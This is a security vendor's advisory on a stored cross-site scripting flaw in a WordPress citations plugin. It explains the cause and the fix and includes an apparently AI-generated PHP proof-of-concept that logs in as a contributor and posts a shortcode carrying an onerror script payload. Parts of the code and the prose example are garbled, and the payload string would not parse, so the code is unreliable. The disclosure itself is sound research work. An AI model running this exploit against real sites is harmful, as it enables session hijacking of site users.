Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1912: Citations tools <= 0.3.2 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'code' Shortcode Attribute (citations-tools)

CVE ID CVE-2026-1912
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 0.3.2
Patched Version
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1912 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Citations Tools WordPress plugin, versions up to and including 0.3.2. The vulnerability exists in the ‘ctdoi’ shortcode’s ‘code’ attribute. Attackers with Contributor-level access or higher can inject malicious scripts that execute when a user views a compromised page or post. The CVSS score of 6.4 (Medium) reflects the requirement for authentication, but the stored nature and potential for session hijacking increase its severity in a WordPress context.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin likely registers a shortcode handler for ‘ctdoi’ that directly echoes or unsafely outputs the ‘code’ attribute value without proper escaping. This is a classic CWE-79 violation. The analysis infers the lack of proper escaping functions like `esc_attr()` for attribute context or `wp_kses()` for sanitization. Without a code diff, this conclusion is based on the CWE classification and the standard WordPress shortcode implementation pattern.

Exploitation requires an authenticated user with at least the ‘contributor’ role. The attacker would create or edit a post, embedding the vulnerable shortcode with a malicious payload in the ‘code’ attribute. For example: [ctdoi code=”“] The payload is stored in the post content. It executes in the browser of any user who views that post. The attack vector is the WordPress post editor; no direct endpoint like admin-ajax.php is required, as the exploit leverages the core shortcode processing system.

Remediation requires implementing proper output escaping. The plugin should use the `esc_attr()` function when outputting the ‘code’ attribute value within an HTML attribute context. Alternatively, the plugin could implement input sanitization using `sanitize_text_field()` or a more restrictive allow-list when registering the shortcode attribute. A secure shortcode callback must treat all user-supplied attributes as untrusted and escape them appropriately for their output context.

The impact of successful exploitation is client-side code execution in the context of the victim’s browser session. This can lead to session hijacking, administrative actions performed by a logged-in administrator, content defacement, or redirection to malicious sites. While the vulnerability requires Contributor access, this role is commonly granted in multi-author sites, and the stored payload can affect all site visitors, amplifying the risk.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1912 - Citations tools <= 0.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'code' Shortcode Attribute
<?php
/**
 * Proof of Concept for CVE-2026-1912.
 * This script simulates an authenticated Contributor user adding a malicious shortcode to a post.
 * Assumptions:
 * 1. The target site has the Citations Tools plugin (<=0.3.2) installed.
 * 2. Valid Contributor credentials are available.
 * 3. The WordPress REST API is enabled (default).
 * 4. The attacker aims to inject a stored XSS payload via the 'ctdoi' shortcode.
 */

$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS

// Payload: Classic XSS to demonstrate execution via the 'code' attribute.
// The shortcode will be embedded in a new post.
$malicious_shortcode = '[ctdoi code="<img src="x" onerror="alert('Atomic Edge XSS via CVE-2026-1912')">"]';
$post_title = 'Test Post with Citation';
$post_content = 'This post contains a citation shortcode. ' . $malicious_shortcode;

// Step 1: Authenticate via the WordPress REST API to obtain a nonce (JWT not used in default WP REST).
// We will use the standard cookie-based authentication by logging in via wp-login.php first to get session cookies.
// This is a more reliable method for Contributor-level access.
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$login_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code != 200) {
    die("Login failed. HTTP Code: $http_coden");
}

// Step 2: Use the REST API to create a new post as the authenticated user.
// First, get the REST API nonce (wp_rest) from the admin page.
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true
]);
$admin_page = curl_exec($ch);

preg_match('/"apiFetch.createNonce("wp_rest"))\s*=\s*"([a-f0-9]+)"/', $admin_page, $matches);
if (empty($matches[1])) {
    // Alternative pattern for nonce
    preg_match('/"wpApiSettings":{"nonce":"([a-f0-9]+)"/', $admin_page, $matches);
}
$rest_nonce = $matches[1] ?? '';

if (empty($rest_nonce)) {
    die("Could not extract REST API nonce. Authentication may have failed or page structure differs.n");
}

// Step 3: Create the post via REST API.
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-json/wp/v2/posts',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode([
        'title' => $post_title,
        'content' => $post_content,
        'status' => 'draft' // Contributor can only create drafts.
    ]),
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $rest_nonce
    ]
]);
$api_response = curl_exec($ch);
$api_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($api_http_code == 201) {
    $response_data = json_decode($api_response, true);
    $post_id = $response_data['id'] ?? 'unknown';
    $post_link = $response_data['link'] ?? $target_url . '/?p=' . $post_id;
    echo "[+] Exploit successful. Draft post created with ID: $post_idn";
    echo "[+] Post URL (requires authentication to view draft): $post_linkn";
    echo "[+] The malicious shortcode is stored. When an authenticated user views this post, the XSS payload will execute.n";
} else {
    echo "[-] Post creation failed. HTTP Code: $api_http_coden";
    echo "Response: $api_responsen";
}

// Cleanup
@unlink('cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School